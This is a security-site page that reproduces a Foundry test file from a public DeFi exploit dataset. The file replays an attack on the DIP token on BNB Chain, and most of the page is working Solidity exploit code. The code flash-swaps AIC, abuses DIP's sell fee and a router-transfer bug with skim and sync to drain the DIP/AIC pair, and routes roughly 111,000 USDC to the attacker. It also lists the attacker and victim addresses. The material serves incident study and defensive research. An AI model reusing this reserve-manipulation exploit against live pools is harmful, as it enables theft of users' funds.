Public reproduction file
src/test/2026-06/DIP_exp.sol
Public reproduction file for dataset entry DIP.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";6// @KeyInfo - Total Lost : 111,097.59 USDC7// Attacker : 0x0d4024cd27538350a911d9b7ee90811fa4875ba38// Attack Contract : 0xddef10a85a5c67a9af8398d297aa51f8716383c79// Vulnerable Contract : 0x6c60bf5db0670ae94489d3dde2c60f271625db5010// Victim : 0xf7d8267d01d1104da2dd30828aa9c0e1647919ef11// Attack Tx : https://bscscan.com/tx/0x1c09395848a87069c9d6ddbe5adc6249510aba7a2a83479a74b4280cafb5fb2913// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x6c60bf5db0670ae94489d3dde2c60f271625db50#code15// Attack Contract Code: https://bscscan.com/address/0xddef10a85a5c67a9af8398d297aa51f8716383c7#code (open source)17// @Analysis18// Twitter Guy : https://x.com/TenArmorAlert/status/206705931451941716319//20// The attacker flash-swapped AIC, used DIP's sell fee plus double router-transfer bug to shrink the DIP/AIC21// pair's DIP reserve with skim/sync, swapped the remaining DIP for nearly all pair AIC, repaid the flash swap,22// and swapped residual AIC into USDC for the transaction sender.24address constant ATTACKER = 0x0d4024Cd27538350a911D9B7eE90811fa4875ba3;25address constant AIC = 0x524c72268E2053bB356Ecb4C1364B5BB74644405;26address constant DIP = 0x6C60bf5DB0670ae94489d3DdE2c60f271625dB50;27address constant USDC = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;28address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;29address constant AIC_NEX_PAIR = 0xF8331a897C5F32B57EAb394af8ADF0D00003CAE1;30address constant AIC_DIP_PAIR = 0xF7D8267D01D1104Da2Dd30828aA9C0E1647919ef;32interface IERC20 {33 function balanceOf(address account) external view returns (uint256);34 function approve(address spender, uint256 amount) external returns (bool);35 function transfer(address to, uint256 amount) external returns (bool);36}38interface IPancakePair {39 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;40 function skim(address to) external;41 function sync() external;42}44interface IPancakeRouter {45 function swapExactTokensForTokensSupportingFeeOnTransferTokens(46 uint256 amountIn,47 uint256 amountOutMin,48 address[] calldata path,49 address to,50 uint256 deadline51 ) external;52}54contract ContractTest is BaseTestWithBalanceLog {55 function setUp() public {56 uint256 forkBlock = 104_598_278;57 vm.createSelectFork("bsc", forkBlock);58 fundingToken = USDC;60 vm.label(ATTACKER, "Attacker");61 vm.label(AIC, "AIC");62 vm.label(DIP, "DIP");63 vm.label(USDC, "USDC");64 vm.label(PANCAKE_ROUTER, "Pancake Router");65 vm.label(AIC_NEX_PAIR, "AIC/NEX Pair");66 vm.label(AIC_DIP_PAIR, "AIC/DIP Pair");67 }69 function testExploit() public balanceLog2(ATTACKER) {70 DipExploit exploit = new DipExploit(ATTACKER);71 vm.label(address(exploit), "Local Exploit Helper");73 uint256 usdcBefore = IERC20(USDC).balanceOf(ATTACKER);75 vm.prank(ATTACKER);76 exploit.execute();78 uint256 usdcProfit = IERC20(USDC).balanceOf(ATTACKER) - usdcBefore;79 emit log_named_decimal_uint("USDC profit", usdcProfit, 18);80 assertGt(usdcProfit, 100_000 ether, "DIP exploit should leave USDC profit");81 }82}84contract DipExploit {85 uint256 private constant FLASH_AIC_AMOUNT = 19_000_000 ether;86 uint256 private constant PANCAKE_FEE_DENOMINATOR = 10_000;87 uint256 private constant PANCAKE_FEE_ADJUSTED = 9_975;88 uint256 private constant DIP_SELL_FEE = 6;89 uint256 private constant DIP_FEE_DENOMINATOR = 100;91 address private immutable profitReceiver;93 constructor(address profitReceiver_) {94 profitReceiver = profitReceiver_;95 }97 function execute() external {98 // step 1: borrow AIC from the AIC/NEX Pancake pair.99 IPancakePair(AIC_NEX_PAIR).swap(FLASH_AIC_AMOUNT, 0, address(this), new bytes(1));101 // step 5: forward the remaining AIC profit through the AIC/USDC pair to the real tx sender.102 _swap(AIC, USDC, IERC20(AIC).balanceOf(address(this)), profitReceiver);103 }105 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {106 require(msg.sender == AIC_NEX_PAIR, "unexpected callback pair");107 require(sender == address(this), "unexpected callback sender");108 require(amount0 == FLASH_AIC_AMOUNT && amount1 == 0, "unexpected flash amount");109 require(data.length != 0, "missing callback data");111 // step 2: convert borrowed AIC to DIP through the vulnerable DIP/AIC pair.112 _swap(AIC, DIP, IERC20(AIC).balanceOf(address(this)), address(this));114 // step 3: make the pair hold almost one extra reserve worth of DIP, then skim it to the router.115 uint256 dipPairBalance = IERC20(DIP).balanceOf(AIC_DIP_PAIR);116 // Keep the post-skim DIP reserve nonzero so the router can quote the next swap.117 uint256 dipNetToPair = dipPairBalance - 1;118 uint256 dipInput = (dipNetToPair * DIP_FEE_DENOMINATOR) / (DIP_FEE_DENOMINATOR - DIP_SELL_FEE);119 IERC20(DIP).transfer(AIC_DIP_PAIR, dipInput);120 IPancakePair(AIC_DIP_PAIR).skim(PANCAKE_ROUTER);121 IPancakePair(AIC_DIP_PAIR).sync();123 // step 4: swap remaining DIP into the distorted AIC reserve and repay the flash swap.124 _swap(DIP, AIC, IERC20(DIP).balanceOf(address(this)), address(this));125 uint256 flashRepayment = (amount0 * PANCAKE_FEE_DENOMINATOR) / PANCAKE_FEE_ADJUSTED + 1;126 IERC20(AIC).transfer(AIC_NEX_PAIR, flashRepayment);127 }129 function _swap(address tokenIn, address tokenOut, uint256 amountIn, address receiver) private {130 IERC20(tokenIn).approve(PANCAKE_ROUTER, amountIn);131 address[] memory path = new address[](2);132 path[0] = tokenIn;133 path[1] = tokenOut;134 IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(135 amountIn, 0, path, receiver, block.timestamp136 );137 }138}Analysis
Dataset entry
Public Foundry test for “DIP” (2026-06-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
- src/test/2026-06/Vault4626_exp.solSame month in the dataset · 172 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0d4024cd27538350a911d9b7ee90811fa4875ba3
- Attack Contract
0xddef10a85a5c67a9af8398d297aa51f8716383c7
- Vulnerable Contract
0x6c60bf5db0670ae94489d3dde2c60f271625db50
- Victim
0xf7d8267d01d1104da2dd30828aa9c0e1647919ef
- Attack Tx
0x1c09395848a87069c9d6ddbe5adc6249510aba7a2a83479a74b4280cafb5fb29
File record
- Name
- DIP
- Path
- src/test/2026-06/DIP_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a56fc721c39858d60027c3b317344b27f5759b66
- Language
- Solidity
- Size
- 139 lines
- Date
- 2026-06-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/DIP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a56fc721c39858d60027c3b317344b27f5759b66, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.